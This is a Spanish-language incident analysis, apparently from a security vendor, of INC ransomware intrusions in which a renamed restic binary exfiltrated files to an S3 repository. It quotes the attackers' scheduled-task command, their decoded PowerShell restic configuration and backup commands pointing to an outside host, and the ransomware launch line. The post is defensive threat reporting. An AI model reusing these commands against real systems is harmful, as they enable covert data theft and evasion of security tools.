Exfiltración de datos e infraestructura del actor de amenazas expuesta

Agradecimientos: Un agradecimiento especial a Amelia Casley, Anton Ovrutsky, Jamie Dumas, Josh Allman y Michael Tigges por su trabajo en el triaje e investigación de estos incidentes. 

Los analistas del SOC de Huntress han visto una gran variedad de enfoques que usan los actores de amenazas para preparar y exfiltrar datos confidenciales de los entornos que han comprometido. La preparación de datos suele ocurrir mediante la instalación y el uso de aplicaciones como WinZip, 7Zip, o incluso la utilidad nativa de Windows tar.exe. Si bien la preparación de datos generalmente se considera una acción previa a la exfiltración, varios problemas pueden dificultar la visibilidad directa de esa actividad en particular, como una implementación limitada del agente de Huntress, o que el actor de amenazas use un método de exfiltración que no crea procesos nuevos. Sin embargo, hemos observado exfiltración de datos mediante la utilidad nativa de Windows finger.exe, así como mediante utilidades de respaldo como restic, BackBlaze y s5cmd.

El 25 de febrero de 2026, los analistas del SOC de Huntress informaron sobre el despliegue de ransomware INC dentro de la infraestructura de un cliente. Tras una inspección más detallada, los analistas determinaron que el agente de Huntress no estaba completamente implementado en esa infraestructura, lo que impidió la visibilidad y evitó la detección temprana. Además, el cliente no usaba SIEM, por lo que tampoco fue posible detectar antes la actividad del actor de amenazas.

En este incidente, una investigación exhaustiva reveló que el actor de amenazas había accedido al endpoint reportado el 24 de febrero, durante lo cual asignó un recurso compartido al endpoint (como el volumen F:\), ejecutó la utilidad provista por Microsoft PSEXEC para elevar sus privilegios, y luego creó la tarea programada Recovery Diagnostics para ejecutar C:\Users\Public\Documents\new.ps1. La línea de comandos de esa tarea programada aparece de la siguiente manera:

"C:\Windows\system32\schtasks.exe" /create /sc once /tn "Recovery Diagnostics" /tr "powershell.exe -file C:\Users\Public\Documents\new.ps1" /st 02:30 /ru system

Tras la creación de la tarea programada, se ejecuta un comando de PowerShell codificado en base64, que al decodificarse aparece de la siguiente manera:

$env:AWS_ACCESS_KEY_ID=[REDACTED]
$env:AWS_SECRET_ACCESS_KEY=[REDACTED]
$env:RESTIC_REPOSITORY='s3:s3.wasabisys.com/[REDACTED]
$env:RESTIC_PASSWORD='password'
c:\windows\system32\winupdate.exe init  

Observa tres elementos de interés en el comando anterior: el primero es que el valor de RESTIC_PASSWORD no está censurado. Lo que aparece es, de hecho, la contraseña empleada. El segundo elemento de interés es que la parte censurada de la variable RESTIC_REPOSITORY hace referencia al entorno/dominio objetivo.

El tercer elemento de interés es que el archivo winupdate.exe es una copia renombrada de restic.exe, una utilidad de respaldo disponible gratuitamente.

Poco después, se ejecutó otro comando de PowerShell codificado en base64 que, al decodificarse, era similar al comando anterior. La única excepción fue la última línea del comando, que aparecía de la siguiente manera:

c:\windows\system32\winupdate.exe backup --files-from C:\Users\Public\Documents\new.txt

Los analistas de Huntress no pudieron obtener una copia del archivo new.txt antes de que el endpoint se desconectara; sin embargo, suponiendo que el archivo contuviera una lista de archivos para respaldar, la naturaleza del comando en sí probablemente habría requerido acceso previo o conocimiento de la infraestructura.

Estos comandos codificados en base64 aparecen en los registros del ID de evento 600 dentro del registro de eventos de Windows PowerShell; sin embargo, otras herramientas legítimas de RMM y de seguridad también usan comandos de PowerShell codificados en base64 que aparecen en los mismos registros.

Luego, el 25 de febrero, el actor de amenazas volvió a iniciar sesión y ejecutó C:\123\edr.exe, y poco después ejecutó la utilidad VIPRE Business AgentAgentUninstallPassword.exe para desinstalar y eliminar el agente. Luego apareció el siguiente mensaje en el registro de eventos de Windows:

SecurityCenter/15;VIPRE Business Agent,SECURITY_PRODUCT_STATE_OFF

A esto le siguieron mensajes de MsiInstaller y System Restore en el registro de eventos de Windows, que indicaban que el VIPRE Business Agent se eliminó del endpoint.

El actor de amenazas luego deshabilitó Windows Defender al desactivar la protección en tiempo real, como lo evidencian los siguientes dos mensajes del registro de eventos de Windows:

Microsoft-Windows-Windows Defender/5001;Microsoft Defender Antivirus (antivirus de Microsoft Defender),4.18.26010.5
SecurityCenter/15;Windows Defender,SECURITY_PRODUCT_STATE_SNOOZED

En este punto, el actor de amenazas claramente había modificado el entorno según sus necesidades y lanzó el ejecutable del ransomware INC:

c:\perflogs\win.exe  --sup --hide --mode medium 

Además de la creación de las notas de rescate INC-README.txt en el endpoint, una línea de tiempo de la actividad del sistema mostró una proliferación de mensajes de Microsoft-Windows-RestartManager/10000, lo cual también está asociado con otras variantes o familias de ransomware (como Akira) que usan la API de RestartManager para cifrar archivos bloqueados.

En este incidente, los analistas de Huntress no pudieron determinar el vector de acceso inicial, ya que el agente no se había implementado por completo en toda la infraestructura del cliente. Además, el cliente no usaba SIEM, donde se podrían haber detectado los intentos iniciales del actor de amenazas de ingresar a la infraestructura.

Los analistas de Huntress habían observado otro incidente el 9 de febrero, en el que también se usó Restic, de una manera notablemente similar a la observada en este incidente. Durante ese incidente, el actor de amenazas también usó comandos de PowerShell codificados en base64 para enviar la configuración de Restic y ejecutar comandos posteriores. En este incidente anterior, el comando decodificado se veía de la siguiente manera:

$env:AWS_ACCESS_KEY_ID=[REDACTED]
$env:AWS_SECRET_ACCESS_KEY=[REDACTED]
$env:RESTIC_REPOSITORY='s3:s3.wasabisys.com[REDACTED]
$env:RESTIC_PASSWORD='password'
c:\windows\system32\winupdate.exe backup --files-from C:\Users\Public\Documents\new.txt

En este incidente anterior, las variables AWS_ACCESS_KEY_ID y AWS_SECRET_ACCESS_KEY eran idénticas a las observadas durante el incidente más reciente. Además, la parte redactada de la variable RESTIC_REPOSITORY también hacía referencia al entorno objetivo.

En ese incidente anterior, el actor de amenazas había ejecutado la utilidad HRSword para deshabilitar las herramientas de seguridad en el endpoint, específicamente el Acronis Management Agent Core Service y el Acronis Active Protection Service. La respuesta de Huntress a ese incidente impidió actividad adicional, que podría haber incluido la implementación de ransomware.

Curiosamente, Huntress no es el único equipo que ha visto, respondido y documentado esta actividad. El 22 de enero de 2026, el equipo de Cyber Centaurs publicó sus hallazgos basados en actividad que es notablemente similar al informe del 25 de febrero del Huntress SOC.

Indicadores de compromiso (IOC)